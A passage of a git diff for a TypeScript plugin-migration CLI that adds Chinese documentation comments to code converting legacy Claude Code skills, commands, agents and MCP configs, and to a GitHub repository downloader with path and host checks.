process.stdin.isTTY && options.hooks === undefined && options.mcp === undefined) { + /** 用户在统一 Module 复选提示中选择的功能。 */ const selected = await checkbox({ message: 'Optional Modules', choices: [ @@ -157,8 +232,10 @@ export async function initializeProject(options: InitOptions): Promise { try { await fs.access(file); @@ -87,27 +141,49 @@ async function exists(file: string): Promise { } } +/** + * 确保父目录存在后写入迁移文本文件。 + * + * @param destination 目标文件路径。 + * @param content 文件内容。 + */ async function copyText(destination: string, content: string): Promise { await fs.mkdir(path.dirname(destination), { recursive: true }); await fs.writeFile(destination, content); } +/** + * 把旧 Skill 及全部辅助文件迁移为规范 Skill 目录。 + * + * @param skill Legacy Scanner 读取的 Skill。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns 可与其他资源并行等待的文件写入任务。 + */ function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { + /** 由旧目录名转换出的规范 Skill ID。 */ const id = safeId(skill.dirName); + /** 优先保留旧描述,否则生成明确的迁移回退描述。 */ const description = skill.frontmatter.description || skill.frontmatter.when_to_use || `Migrated Skill ${id}.`; + /** 旧 Skill 的用户调用策略,默认保持可调用。 */ let user = skill.frontmatter['user-invocable'] ?? true; + /** 旧 Skill 的模型调用策略。 */ const model = !(skill.frontmatter['disable-model-invocation'] ?? false); + /** 名称、描述和调用策略是否能够无损映射。 */ let outcome: MigrationOutcome = ID_PATTERN.test(skill.dirName) && skill.frontmatter.description ? 'migrated' : 'degraded'; if (!user && !model) { user = true; outcome = 'degraded'; } + /** 规范 Skill 主文件的工程相对路径。 */ const destination = `src/skills/${id}/SKILL.md`; items.push({ kind: 'skill', id, outcome, source: relative(projectRoot, skill.sourcePath), destination, ...(outcome === 'degraded' ? { message: 'Identity, description, or invocation required a canonical fallback.' } : {}), }); + /** 主文件及后续辅助文件的并行写入任务。 */ const writes = [copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description, invocation: { user, model }, @@ -118,10 +194,23 @@ function migrateSkill(skill: Skill, projectRoot: string, outputRoot: string, ite return writes; } +/** + * 把旧 Command Markdown 迁移为规范 Command,并转换参数占位符。 + * + * @param command Legacy Scanner 读取的 Command。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns Command 文件写入任务。 + */ function migrateCommand(command: Command, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + /** 由旧文件名转换出的规范 Command ID。 */ const id = safeId(command.name); + /** 解析 Frontmatter 后保留的 Command 正文。 */ let body = command.content; + /** 优先读取旧描述,否则使用明确的迁移回退值。 */ let description = `Migrated Command ${id}.`; + /** 名称和描述是否能够无损映射。 */ let outcome: MigrationOutcome = ID_PATTERN.test(command.name) ? 'migrated' : 'degraded'; try { const parsed = matter(command.content); @@ -134,6 +223,7 @@ function migrateCommand(command: Command, projectRoot: string, outputRoot: strin outcome = 'degraded'; } body = body.replaceAll('$ARGUMENTS', '{{arguments}}'); + /** 规范 Command 文件的工程相对路径。 */ const destination = `src/commands/${id}.md`; items.push({ kind: 'command', id, outcome, @@ -143,6 +233,12 @@ function migrateCommand(command: Command, projectRoot: string, outputRoot: strin return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ description }, body)); } +/** + * 把旧 Claude 模型名称收敛为 Core 可移植模型档位。 + * + * @param value 旧 Agent model 字段。 + * @returns fast、capable 或 inherit。 + */ function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' { if (value === 'haiku') return 'fast'; @@ -151,11 +247,25 @@ function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' return 'inherit'; } +/** + * 把旧 Agent Markdown 迁移为规范 Agent,并泛化平台模型名称。 + * + * @param agent Legacy Scanner 读取的 Agent。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns Agent 文件写入任务。 + */ function migrateAgent(agent: Agent, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + /** 由旧文件名转换出的规范 Agent ID。 */ const id = safeId(agent.fileName); + /** 旧描述或明确的迁移回退描述。 */ const description = agent.frontmatter.description || `Migrated Agent ${id}.`; + /** 旧模型是否属于可映射的已知集合。 */ const knownModel = agent.frontmatter.model === undefined || ['inherit', 'haiku', 'sonnet', 'opus'].includes(agent.frontmatter.model); + /** 身份、描述和模型是否能够无损映射。 */ const outcome: MigrationOutcome = ID_PATTERN.test(agent.fileName) && agent.frontmatter.description && knownModel ? 'migrated' : 'degraded'; + /** 规范 Agent 文件的工程相对路径。 */ const destination = `src/agents/${id}.md`; items.push({ kind: 'agent', id, outcome, @@ -168,14 +278,28 @@ function migrateAgent(agent: Agent, projectRoot: string, outputRoot: string, ite }, agent.body)); } +/** + * 识别仅包含 `${ENV_NAME}` 的安全环境变量引用。 + * + * @param value 旧配置中的字符串值。 + * @returns 环境变量名称;包含字面量或无效语法时返回 undefined。 + */ function environmentReference(value: string): string | undefined { + /** 完整匹配环境变量插值的捕获结果。 */ const match = value.match(/^\$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); return match?.[1]; } +/** + * 尝试把无凭据、HTTPS 且只引用环境变量的旧远程 MCP 转为类型化定义源码。 + * + * @param server Legacy Scanner 读取的 MCP Server。 + * @returns 可安全自动迁移的 `mcp.ts` 源码,否则返回 undefined 并转入未映射区。 + */ function remoteMcpSource(server: MCPServer): string | undefined { if (!server.url || !['http', 'streamable-http', undefined].includes(server.type)) return undefined; + /** 完成语法与敏感 URL 组件检查的远程端点。 */ let endpoint: URL; try { endpoint = new URL(server.url); @@ -184,7 +308,9 @@ function remoteMcpSource(server: MCPServer): string | undefined { } if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) return undefined; + /** 仅保留环境变量引用的非认证 Header。 */ const headers: Record = {}; + /** 从 Authorization Header 提取的可选 Bearer 环境变量策略。 */ let auth: Record | undefined; for (const [name, value] of Object.entries(server.headers ?? {})) { const bearer = name.toLowerCase() === 'authorization' && value.match(/^Bearer \$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); @@ -197,6 +323,7 @@ function remoteMcpSource(server: MCPServer): string | undefined { return undefined; headers[name] = { env }; } + /** 按稳定格式组装的类型化 MCP 描述源码行。 */ const descriptor = [ `import { defineMcpServer } from '@tokenroll/acplugin-module-mcp';`, '', @@ -211,7 +338,14 @@ function remoteMcpSource(server: MCPServer): string | undefined { return descriptor.join('\n'); } +/** + * 创建可供人工恢复的旧 MCP 摘要,同时移除参数、环境值、Header 值和 URL 凭据。 + * + * @param server 无法自动迁移的旧 MCP Server。 + * @returns 不包含已知敏感值的结构化摘要。 + */ function redactedMcpServer(server: MCPServer): Record { + /** 清除凭据、查询和片段后的可选 URL。 */ let url = server.url; if (url) { try { @@ -236,18 +370,35 @@ function redactedMcpServer(server: MCPServer): Record { }; } +/** + * 把无法安全自动迁移的文本保存在专用未映射目录。 + * + * @param outputRoot 新规范工程的阶段目录。 + * @param category 未映射资源类别。 + * @param filename 保留内容使用的相对文件名。 + * @param content 已脱敏或本就不含凭据的内容。 + * @returns 新工程内的未映射文件路径。 + */ async function unmapped( outputRoot: string, category: string, filename: string, content: string, ): Promise { + /** 与可发布源码隔离的未映射目标路径。 */ const destination = `.acplugin-migration/unmapped/${category}/${filename}`; await copyText(path.join(outputRoot, destination), content); return destination; } +/** + * 从旧 Hook 命令中提取相对于 Plugin/Project 根目录的文件引用候选。 + * + * @param hooks Legacy Scanner 读取的原始 Hook 配置。 + * @returns 去重并稳定排序的相对路径。 + */ function hookReferenceCandidates(hooks: Hooks): string[] { + /** 从环境变量根路径和 `./` 语法提取的引用集合。 */ const references = new Set(); for (const matchers of Object.values(hooks)) { for (const matcher of matchers) { @@ -264,13 +415,23 @@ function hookReferenceCandidates(hooks: Hooks): string[] { return [...references].sort((a, b) => a.localeCompare(b, 'en')); } +/** + * 递归保留旧 Hook 引用文件,但不把未经类型化迁移的代码加入可发布源码。 + * + * @param sourceRoot 旧工程根目录和路径信任边界。 + * @param relativePath Hook 命令提取出的相对路径。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + */ async function copyHookReference( sourceRoot: string, relativePath: string, outputRoot: string, items: MigrationItem[], ): Promise { + /** 解析后的 Hook 引用绝对路径。 */ const source = path.resolve(sourceRoot, relativePath); + /** 用于阻止目录逃逸并生成报告的来源相对路径。 */ const relation = path.relative(sourceRoot, source); if (relation === '..' || relation.startsWith(`..${path.sep}`) || path.isAbsolute(relation)) { items.push({ @@ -279,6 +440,7 @@ async function copyHookReference( }); return; } + /** 引用文件的 lstat 元数据,用于拒绝符号链接。 */ let stat: import('node:fs').Stats; try { stat = await fs.lstat(source); @@ -299,6 +461,7 @@ async function copyHookReference( return; } if (stat.isDirectory()) { + /** 按名称稳定递归的目录项。 */ const entries = await fs.readdir(source, { withFileTypes: true }); for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) await copyHookReference(sourceRoot, path.join(relativePath, entry.name), outputRoot, items); @@ -306,8 +469,11 @@ async function copyHookReference( } if (!stat.isFile()) return; + /** 报告和未映射目录使用的 POSIX 相对路径。 */ const normalized = relation.split(path.sep).join('/'); + /** 与可发布源码隔离的 Hook 文件目标路径。 */ const destination = `.acplugin-migration/unmapped/hook-files/${normalized}`; + /** 未映射文件的绝对写入路径。 */ const output = path.join(outputRoot, destination); await fs.mkdir(path.dirname(output), { recursive: true }); await fs.copyFile(source, output); @@ -318,9 +484,19 @@ async function copyHookReference( }); } +/** + * 从旧 Plugin 元数据、CLI 参数或交互提示中确定规范工程元数据。 + * + * @param scan Legacy Scanner 结果。 + * @param options 迁移 CLI 选项。 + * @returns 已验证名称、版本、描述和可选展示名称。 + */ async function metadataFor(scan: ScanResult, options: MigrationOptions): Promise<{ name: string; version: string; description: string; displayName?: string }> { + /** 仅 Plugin/Marketplace 扫描结果携带的旧 Plugin 元数据。 */ const plugin = 'meta' in scan ? scan as PluginScanResult : undefined; + /** CLI 或旧元数据提供的候选规范名称。 */ let name = options.name ?? plugin?.meta.name; + /** CLI 或旧元数据提供的候选描述。 */ let description = options.description ?? plugin?.meta.description; if (!name && process.stdin.isTTY) name = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); @@ -338,13 +514,27 @@ async function metadataFor(scan: ScanResult, options: MigrationOptions): Promise }; } +/** + * 把单个 Legacy ScanResult 写成完整规范工程,并用 Core Scanner 重新验证。 + * + * Instructions、原始 Hooks、不安全 MCP 和未分类文件只进入 `.acplugin-migration/unmapped`, + * 不会静默进入可发布 Plugin 内容。 + * + * @param scan 旧工程或单个旧 Plugin 的扫描结果。 + * @param outputRoot 新规范工程的阶段目录。 + * @param options 迁移元数据和严格度选项。 + * @returns 资源迁移条目与规范工程重新扫描诊断。 + */ async function writeCanonicalProject( scan: ScanResult, outputRoot: string, options: MigrationOptions, ): Promise<{ items: MigrationItem[]; diagnostics: readonly Diagnostic[] }> { + /** 新工程最终使用的规范元数据。 */ const metadata = await metadataFor(scan, options); + /** 当前工程累计的资源迁移结论。 */ const items: MigrationItem[] = []; + /** Skills、Commands 与 Agents 的并行写入任务。 */ const writes: Promise[] = []; for (const skill of scan.skills) writes.push(...migrateSkill(skill, scan.rootDir, outputRoot, items)); @@ -359,9 +549,12 @@ async function writeCanonicalProject( items.push({ kind: 'instruction', id: instruction.fileName, outcome: 'unmapped', source: relative(scan.rootDir, instruction.sourcePath), destination, message: 'Instructions are outside the installable plugin boundary.' }); } + /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Module。 */ let usesMcp = false; for (const server of scan.mcp?.servers ?? []) { + /** 由旧 Server 名称转换出的规范 MCP ID。 */ const id = safeId(server.name); + /** 满足安全自动迁移条件时生成的类型化描述源码。 */ const source = remoteMcpSource(server); if (source) { const destination = `src/mcp/${id}/mcp.ts`; @@ -386,6 +579,7 @@ async function writeCanonicalProject( items.push({ kind: 'plugin-file', id: file.relativePath, outcome: 'unmapped', destination, message: 'Unclassified plugin files are not published automatically.' }); } + /** 规范配置入口及按需追加的官方 Module 导入。 */ const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; if (usesMcp) imports.push(`import mcp from '@tokenroll/acplugin-module-mcp';`); @@ -403,7 +597,8 @@ export default defineConfig({ : ''} }); `); - const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', 'typescript': '^5.9.3', '@types/node': '^20.19.0' }; + /** 新工程基础开发依赖及按需追加的官方 MCP Module。 */ + const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', 'typescript': '^7.0.2', '@types/node': '^20.19.0' }; if (usesMcp) devDependencies['@tokenroll/acplugin-module-mcp'] = '^1.0.0'; await copyText(path.join(outputRoot, 'package.json'), stableJson({ @@ -418,33 +613,56 @@ export default defineConfig({ await copyText(path.join(outputRoot, 'tsconfig.json'), stableJson({ compilerOptions: { target: 'ES2022', module: 'NodeNext', moduleResolution: 'NodeNext', strict: true, noEmit: true, types: ['node'], skipLibCheck: true }, include: ['acplugin.config.ts', 'src/**/*.ts'] })); await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n'); + // 迁移结果必须重新经过当前 Core 配置与 Scanner 契约,避免只生成“看似正确”的目录。 const resolved = resolveConfig({ ...metadata, ...(usesMcp ? { modules: [{ name: '@tokenroll/acplugin-module-mcp' }] } : {}), }, path.join(outputRoot, 'acplugin.config.ts'), 'validate', 'production'); if (!resolved.config) return { items, diagnostics: resolved.diagnostics }; + /** 对生成工程执行的当前版本 Scanner 结果。 */ const scanned = await scanProject(resolved.config); return { items, diagnostics: scanned.diagnostics.diagnostics }; } +/** + * 验证最终目标尚不存在且位于旧来源树外。 + * + * @param sourceRoot 旧来源根目录。 + * @param destination 计划提交的新工程目录。 + */ async function assertDestination(sourceRoot: string, destination: string): Promise { if (await exists(destination)) throw new Error('Migration destination must not exist.'); + /** 目标相对于来源的路径,用于阻止覆盖或嵌套写入旧工程。 */ const relation = path.relative(sourceRoot, destination); if (relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`))) throw new Error('Migration destination must be outside the source tree.'); } +/** + * 执行 Legacy 来源识别、阶段生成、Core 验证和最终目录提交。 + * + * 所有内容先写入隔离阶段目录;只有报告成功且非 dry-run 时才通过 rename 提交。 + * GitHub 下载目录和迁移阶段目录都会在成功或失败后清理。 + * + * @param options 来源、目标、Marketplace 选择和保真度策略。 + * @returns 不包含旧配置敏感值的稳定迁移报告。 + */ export async function migrate(options: MigrationOptions): Promise { + /** 解析本地相对路径使用的绝对工作目录。 */ const cwd = path.resolve(options.cwd ?? process.cwd()); + /** 本地来源或下载后仓库子目录的绝对根路径。 */ let sourceRoot: string; + /** GitHub 来源使用的临时下载目录清理函数。 */ let cleanup: (() => void) | undefined; if (isGitHubSource(options.source) && !await exists(path.resolve(cwd, options.source))) { + /** 完成格式和字段验证的 GitHub 来源。 */ const source = parseGitHubSource(options.source); if (options.subPath) source.subPath = options.subPath; sourceRoot = await downloadGitHubRepo(source); + /** 下载仓库对应的临时根目录。 */ const temporaryRoot = getTempRoot(sourceRoot); cleanup = () => cleanupTempDir(temporaryRoot); } else { @@ -454,26 +672,38 @@ export async function migrate(options: MigrationOptions): Promise plugin.meta.name === options.plugin); if (selected.length === 0) throw new Error('Marketplace migration requires --plugin or --all.'); for (const plugin of selected) { + /** Marketplace 工作区成员使用的规范目录 ID。 */ const id = safeId(plugin.meta.name); + /** 当前成员在迁移阶段目录中的根路径。 */ const projectRoot = path.join(stage, id); + /** 当前成员生成和重新扫描的结果。 */ const result = await writeCanonicalProject(plugin, projectRoot, options); items.push(...result.items.map(item => ({ ...item, destination: item.destination ? `${id}/${item.destination}` : undefined }))); diagnostics.push(...result.diagnostics); @@ -482,14 +712,19 @@ export async function migrate(options: MigrationOptions): Promise ` - ${project}`).join('\n')}\n`); } else { sourceType = isSinglePlugin(sourceRoot) ? 'plugin' : 'project'; + /** 根据来源类型调用对应 Legacy Scanner 的结果。 */ const scan = sourceType === 'plugin' ? scanPlugin(sourceRoot) : scanClaudeProject(sourceRoot); + /** 单工程生成和重新扫描的结果。 */ const result = await writeCanonicalProject(scan, stage, options); items.push(...result.items); diagnostics.push(...result.diagnostics); projects.push('.'); } + /** 是否存在语义降级或需要人工处理的资源。 */ const hasLoss = items.some(item => item.outcome === 'degraded' || item.outcome === 'unmapped'); + /** Core 无错误且满足可选 strict 无损条件时才允许提交。 */ const success = !diagnostics.some(diagnostic => diagnostic.severity === 'error') && !(options.strict && hasLoss); + /** 在阶段目录中先写入、提交后随工程一同保留的最终报告。 */ const report: MigrationReport = { schemaVersion: '1', sourceType, projects, items, diagnostics, success, dryRun: options.dryRun ?? false, diff --git a/packages/acplugin/src/migration/legacy/github.ts b/packages/acplugin/src/migration/legacy/github.ts index b716374..5a4f7a2 100644 --- a/packages/acplugin/src/migration/legacy/github.ts +++ b/packages/acplugin/src/migration/legacy/github.ts @@ -4,16 +4,29 @@ import * as path from 'path'; import * as os from 'os'; import { execFileSync } from 'child_process'; +/** 完成解析和校验的 GitHub 仓库来源。 */ export interface GitHubSource { + /** GitHub 组织或用户名称。 */ owner: string; + /** 仓库名称,不含 `.git`。 */ repo: string; + /** 可选的分支、Tag 或其他安全 Git Ref。 */ branch?: string; + /** 可选的仓库内部相对目录。 */ subPath?: string; } +/** GitHub Owner 名称接受的格式和长度。 */ const OWNER_PATTERN = /^(?!-)[A-Za-z0-9-]{1,39}(? part !== '' && !part.startsWith('.') && !part.endsWith('.lock')); } +/** + * 判断候选路径是否位于指定根目录内。 + * + * @param root 可信根目录。 + * @param candidate 待验证路径。 + * @returns 候选路径未逃逸时返回 true。 + */ function isInside(root: string, candidate: string): boolean { + /** 基于真实路径层级而非字符串前缀的相对关系。 */ const relation = path.relative(root, candidate); return relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`)); } +/** + * 在可信根目录内解析用户相对路径。 + * + * @param root 可信根目录。 + * @param value 用户提供的相对路径。 + * @param label 错误消息使用的字段名称。 + * @returns 未逃逸根目录的绝对路径。 + */ function resolveInside(root: string, value: string, label: string): string { if (value.includes('\0') || path.isAbsolute(value)) throw new Error(`${label} must be a relative path inside the repository.`); + /** 解析后的候选绝对路径。 */ const resolved = path.resolve(root, value); if (!isInside(path.resolve(root), resolved)) throw new Error(`${label} must stay inside the repository.`); return resolved; } +/** + * 解析并验证下载仓库内的可选子路径,包括符号链接后的真实路径。 + * + * @param root 下载或解压后的仓库根目录。 + * @param subPath 可选的仓库内部目录。 + * @returns 存在且真实路径仍位于仓库内的目录。 + */ function repositorySubPath(root: string, subPath: string | undefined): string { if (subPath === undefined) return root; + /** 尚未解析符号链接的仓库内候选路径。 */ const resolved = resolveInside(root, subPath, 'GitHub sub-path'); if (!fs.existsSync(resolved)) throw new Error(`GitHub sub-path "${subPath}" was not found.`); + /** 仓库根目录解析符号链接后的真实路径。 */ const realRoot = fs.realpathSync(root); + /** 子路径解析符号链接后的真实路径。 */ const realResolved = fs.realpathSync(resolved); if (!isInside(realRoot, realResolved)) throw new Error('GitHub sub-path resolves outside the repository.'); @@ -60,9 +106,9 @@ function repositorySubPath(root: string, subPath: string | undefined): string { } /** - * Parse a GitHub source string into components. + * 把受支持的 GitHub 来源字符串解析为结构化字段。 * - * Supported formats: + * 支持 `github:owner/repo[#ref]`、GitHub URL 与 `owner/repo[#ref]` 简写。 * github:owner/repo * github:owner/repo#branch * https://github.com/owner/repo @@ -70,16 +116,21 @@ function repositorySubPath(root: string, subPath: string | undefined): string { * https://github.com/owner/repo/tree/branch/sub/path * owner/repo * owner/repo#branch + * + * @param source 用户提供的 GitHub 来源。 + * @returns 完成字段和路径校验的来源对象。 */ export function parseGitHubSource(source: string): GitHubSource { + /** 移除可选协议前缀后参与语法解析的文本。 */ let cleaned = source; - // Strip github: prefix + // 移除便于 CLI 区分本地路径的 github: 前缀。 if (cleaned.startsWith('github:')) { cleaned = cleaned.slice('github:'.length); } - // Handle full GitHub URLs + // 完整 GitHub URL 可同时编码 Ref 和仓库子路径。 + /** 完整 GitHub URL 的字段捕获结果。 */ const urlMatch = cleaned.match( /^https?:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?(?:\/tree\/([^/]+)(?:\/(.+))?)?$/, ); @@ -92,14 +143,17 @@ export function parseGitHubSource(source: string): GitHubSource { }); } - // Handle owner/repo#branch format + // owner/repo 简写使用井号携带可选 Ref。 + /** 简写中提取的可选 Git Ref。 */ let branch: string | undefined; + /** 简写中井号分隔符的位置。 */ const hashIdx = cleaned.indexOf('#'); if (hashIdx !== -1) { branch = cleaned.slice(hashIdx + 1); cleaned = cleaned.slice(0, hashIdx); } + /** owner/repo 简写的两个路径片段。 */ const parts = cleaned.split('/'); if (parts.length !== 2) { throw new Error( @@ -115,20 +169,24 @@ export function parseGitHubSource(source: string): GitHubSource { } /** - * Download a GitHub repo to a temp directory. - * Prefers a shallow `git clone` without executing submodule downloads. - * Falls back to a GitHub-generated tarball if git is unavailable. - * Returns the path to the extracted/cloned directory. + * 把 GitHub 仓库下载到系统临时目录。 + * + * 优先执行不下载子模块的浅克隆;Git 不可用时回退到 GitHub 生成的 tarball。 + * + * @param source 已解析或待再次验证的 GitHub 来源。 + * @returns 克隆/解压后的仓库根目录或安全子路径。 */ export async function downloadGitHubRepo(source: GitHubSource): Promise { + /** 当前下载独占、失败时完整清理的系统临时目录。 */ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'acplugin-')); + /** 在产生任何网络或进程副作用前重新校验的来源。 */ const verified = validateSource(source); try { - // Try a shallow clone first. Untrusted repository submodules are not run. + // 浅克隆不会初始化不受信任仓库声明的 submodule。 if (isGitAvailable()) return cloneWithGit(verified, tmpDir); - // Fallback: GitHub-generated tarball download. + // Git 不可用时下载 GitHub 生成的归档。 return await downloadTarball(verified, tmpDir); } catch (error) { cleanupTempDir(tmpDir); @@ -136,6 +194,11 @@ export async function downloadGitHubRepo(source: GitHubSource): Promise } } +/** + * 判断当前环境是否可执行 Git。 + * + * @returns `git --version` 成功时返回 true。 + */ function isGitAvailable(): boolean { try { execFileSync('git', ['--version'], { stdio: 'pipe' }); @@ -145,10 +208,20 @@ function isGitAvailable(): boolean { } } +/** + * 使用参数数组执行安全浅克隆,不通过 Shell 拼接不受信任字段。 + * + * @param source 已验证 GitHub 来源。 + * @param tmpDir 当前下载临时目录。 + * @returns 仓库根目录或验证后的子路径。 + */ function cloneWithGit(source: GitHubSource, tmpDir: string): string { + /** 由已验证 owner/repo 构造的 HTTPS Clone URL。 */ const repoUrl = `https://github.com/${source.owner}/${source.repo}.git`; + /** 临时目录内固定的克隆目标。 */ const cloneDir = path.join(tmpDir, 'repository'); + /** 传给 execFileSync 的独立 Git 参数,`--` 终止选项解析。 */ const args = ['clone', '--depth', '1']; if (source.branch) { args.push('--branch', source.branch); @@ -159,64 +232,96 @@ function cloneWithGit(source: GitHubSource, tmpDir: string): string { return repositorySubPath(cloneDir, source.subPath); } +/** + * 下载并解压 GitHub 生成的仓库 tarball。 + * + * @param source 已验证 GitHub 来源。 + * @param tmpDir 当前下载临时目录。 + * @returns 解压仓库根目录或验证后的子路径。 + */ async function downloadTarball(source: GitHubSource, tmpDir: string): Promise { + /** 未指定 Ref 时由 GitHub 解析默认分支的归档标识。 */ const branch = source.branch || 'HEAD'; + /** 仅指向 GitHub API 允许主机的归档 URL。 */ const tarballUrl = `https://api.github.com/repos/${source.owner}/${source.repo}/tarball/${encodeURIComponent(branch)}`; + /** 临时目录内固定的归档文件路径。 */ const tarballPath = path.join(tmpDir, 'repo.tar.gz'); - // Download tarball (follow redirects) + // 下载函数会限制重定向次数和允许的 GitHub 主机。 await downloadFile(tarballUrl, tarballPath); - // Extract tarball + // 使用参数数组调用系统 tar,不执行 Shell。 execFileSync('tar', ['-xzf', tarballPath, '-C', tmpDir], { stdio: 'pipe' }); - // Find the extracted directory (GitHub tarballs have a top-level dir like owner-repo-sha) + // GitHub 归档始终带 owner-repo-sha 形式的顶层目录。 + /** 解压后临时目录的一级内容。 */ const entries = fs.readdirSync(tmpDir, { withFileTypes: true }); + /** GitHub 归档创建的顶层仓库目录。 */ const extractedDir = entries.find(e => e.isDirectory()); if (!extractedDir) { throw new Error('Failed to extract repository archive'); } + /** 完成真实路径边界检查的仓库目录或子路径。 */ const repoDir = repositorySubPath(path.join(tmpDir, extractedDir.name), source.subPath); - // Clean up tarball + // 解压成功后删除原始归档,最终清理只需处理目录树。 fs.unlinkSync(tarballPath); return repoDir; } /** - * Clean up a temporary directory created by downloadGitHubRepo. + * 清理由 downloadGitHubRepo 创建的临时目录。 + * + * @param tmpDir 待删除临时根目录。 */ export function cleanupTempDir(tmpDir: string): void { - // Safety: only delete if it's in the system temp directory + // 只允许删除系统临时目录内的后代,绝不删除临时目录本身。 if (isInside(path.resolve(os.tmpdir()), path.resolve(tmpDir)) && path.resolve(tmpDir) !== path.resolve(os.tmpdir())) { fs.rmSync(tmpDir, { recursive: true, force: true }); } } /** - * Get the root temp dir from an extracted repo path (for cleanup). + * 从下载仓库或子路径反推出本次下载的临时根目录。 + * + * @param repoDir downloadGitHubRepo 返回的仓库路径。 + * @returns 系统临时目录下的第一级下载目录。 */ export function getTempRoot(repoDir: string): string { + /** 当前系统临时目录。 */ const tmpBase = os.tmpdir(); + /** 仓库路径相对于系统临时目录的位置。 */ const relative = path.relative(tmpBase, repoDir); + /** 属于本次下载的第一级临时目录名称。 */ const firstSegment = relative.split(path.sep)[0]; return path.join(tmpBase, firstSegment); } +/** + * 通过 HTTPS 下载文件,并只跟随 GitHub 官方主机间的有限次重定向。 + * + * @param url 当前下载或重定向 URL。 + * @param destPath 归档写入路径。 + * @param redirectCount 已跟随的重定向次数。 + * @returns 文件流完成写入时兑现的 Promise。 + */ function downloadFile(url: string, destPath: string, redirectCount = 0): Promise { if (redirectCount > 5) { return Promise.reject(new Error('Too many redirects')); } return new Promise((resolve, reject) => { + /** 完成协议和主机验证的当前请求 URL。 */ const parsed = new URL(url); + /** GitHub API 归档下载允许跳转的官方主机集合。 */ const allowedHosts = new Set(['api.github.com', 'github.com', 'codeload.github.com']); if (parsed.protocol !== 'https:' || !allowedHosts.has(parsed.hostname)) { reject(new Error('GitHub download redirect was rejected.')); return; } + /** 当前 HTTPS 下载请求;错误统一传递给 Promise。 */ const req = https.get(parsed, { headers: { 'User-Agent': 'acplugin/1.0', @@ -224,7 +329,7 @@ function downloadFile(url: string, destPath: string, redirectCount = 0): Promise ...(parsed.hostname === 'api.github.com' && process.env.GITHUB_TOKEN ? { Authorization: `Bearer ${process.env.GITHUB_TOKEN}` } : {}), }, }, (res) => { - // Follow redirects + // 只通过递归入口继续重定向,以重复执行协议、主机和次数校验。 if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) { resolve(downloadFile(res.headers.location, destPath, redirectCount + 1)); return; @@ -235,6 +340,7 @@ function downloadFile(url: string, destPath: string, redirectCount = 0): Promise return; } + /** 把响应体落盘到固定归档路径的文件流。 */ const fileStream = fs.createWriteStream(destPath); res.pipe(fileStream); fileStream.on('finish', () => { diff --git a/packages/acplugin/src/migration/legacy/scanner/claude.ts b/packages/acplugin/src/migration/legacy/scanner/claude.ts index 4413384..6a7d6ea 100644 --- a/packages/acplugin/src/migration/legacy/scanner/claude.ts +++ b/packages/acplugin/src/migration/legacy/scanner/claude.ts @@ -4,7 +4,10 @@ import { parseFrontmatter } from '../utils/frontmatter.js'; import type { ScanResult, Skill, SkillFrontmatter, SkillAuxFile, Instruction, MCPConfig, MCPServer, Agent, AgentFrontmatter, Command, Hooks } from '../types.js'; /** - * Scan a Claude Code project directory (.claude/ structure). + * 扫描旧 Claude Code 工程的 `.claude/` 结构和根级配置。 + * + * @param rootDir 旧工程根目录。 + * @returns 供隔离迁移层消费的宽松 ScanResult。 */ export function scanClaudeProject(rootDir: string): ScanResult { return { @@ -19,14 +22,24 @@ export function scanClaudeProject(rootDir: string): ScanResult { }; } -// --- Reusable scanning functions (also used by plugin scanner) --- +// 以下宽松扫描函数也由旧 Plugin Scanner 复用。 +/** + * 扫描一级 Skill 目录,并对不规范 Frontmatter 采用保留正文的容错策略。 + * + * @param skillsDir 旧 Skills 根目录。 + * @returns 成功读取的旧 Skill 列表。 + */ export function scanSkillsDir(skillsDir: string): Skill[] { + /** 当前目录累计发现的旧 Skills。 */ const skills: Skill[] = []; for (const dir of listDirs(skillsDir)) { + /** 当前旧 Skill 的主 Markdown 路径。 */ const skillFile = path.join(dir, 'SKILL.md'); + /** 主 Markdown 内容;缺失或读取失败时跳过该目录。 */ const content = readFile(skillFile); if (!content) continue; + /** 无论 Frontmatter 是否有效都需要保留的辅助文件。 */ const auxFiles = scanSkillAuxFiles(dir); try { const { data, body } = parseFrontmatter(content); @@ -38,7 +51,7 @@ export function scanSkillsDir(skillsDir: string): Skill[] { auxFiles, }); } catch { - // Skip files with invalid frontmatter + // Frontmatter 无效时保留完整原文,让迁移报告标记降级而非丢弃资源。 skills.push({ dirName: path.basename(dir), frontmatter: {}, @@ -52,13 +65,18 @@ export function scanSkillsDir(skillsDir: string): Skill[] { } /** - * Scan all auxiliary files in a skill directory (everything except SKILL.md). - * Includes files in subdirectories like references/, scripts/, assets/. + * 递归扫描 Skill 目录中除 SKILL.md 外的全部辅助文本文件。 + * + * @param skillDir 单个旧 Skill 根目录。 + * @returns references、scripts、assets 等子目录中的辅助文件。 */ function scanSkillAuxFiles(skillDir: string): SkillAuxFile[] { + /** 旧 Skill 